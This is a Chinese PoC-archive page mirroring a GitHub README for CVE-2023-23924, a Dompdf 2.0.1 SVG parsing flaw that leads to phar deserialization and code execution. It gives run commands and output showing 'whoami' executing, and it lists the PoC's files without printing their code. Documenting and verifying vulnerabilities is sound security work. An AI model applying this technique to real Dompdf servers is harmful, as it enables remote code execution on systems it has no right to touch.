POC详情： 68313aea7a3e168c01af46a349feaa2e711cf29d

来源
https://github.com/motikan2010/CVE-2023-23924
关联漏洞
标题： Dompdf 安全漏洞 (CVE-2023-23924)
描述：Dompdf是一个 HTML 到 PDF 的转换器。 Dompdf 2.0.1版本存在安全漏洞。攻击者利用该漏洞可以使用任意协议调用任意URL。
描述
CVE-2023-23924 (Dompdf - RCE) PoC
介绍
# CVE-2023-23924

Dompdf vulnerable to URI validation failure on SVG parsing · CVE-2023-23924 · GitHub Advisory Database  
https://github.com/advisories/GHSA-3cw5-7cxw-v5qg

## Run

```
# Terminal 1
❯ cd www
❯ php -S 127.0.0.1:9000 -t .

# Terminal 2
❯ cd src
❯ php cve_2023_23924.php
```

## Check

Check the "whoami" command is running.

### 2.0.1

```
❯ php cve_2023_23924.php
PHP Warning:  file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173

Warning: file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
PHP Notice:  getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193

Notice: getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193
motikan2010
```

### 2.0.2

```
❯ php cve_2023_23924.php
(no output)
```

## Reference

- phar:// deserialization - HackTricks  
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization
文件快照

 [4.0K]  /data/pocs/68313aea7a3e168c01af46a349feaa2e711cf29d
├── [4.0K]  attacker
│   ├── [ 642]  create_phar.php
│   └── [  75]  README.md
├── [  60]  composer.json
├── [ 10K]  composer.lock
├── [1.4K]  README.md
├── [4.0K]  src
│   ├── [ 406]  cve_2023_23924.php
│   └── [ 166]  test.phar
└── [4.0K]  www
    └── [ 521]  android.svg

3 directories, 8 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。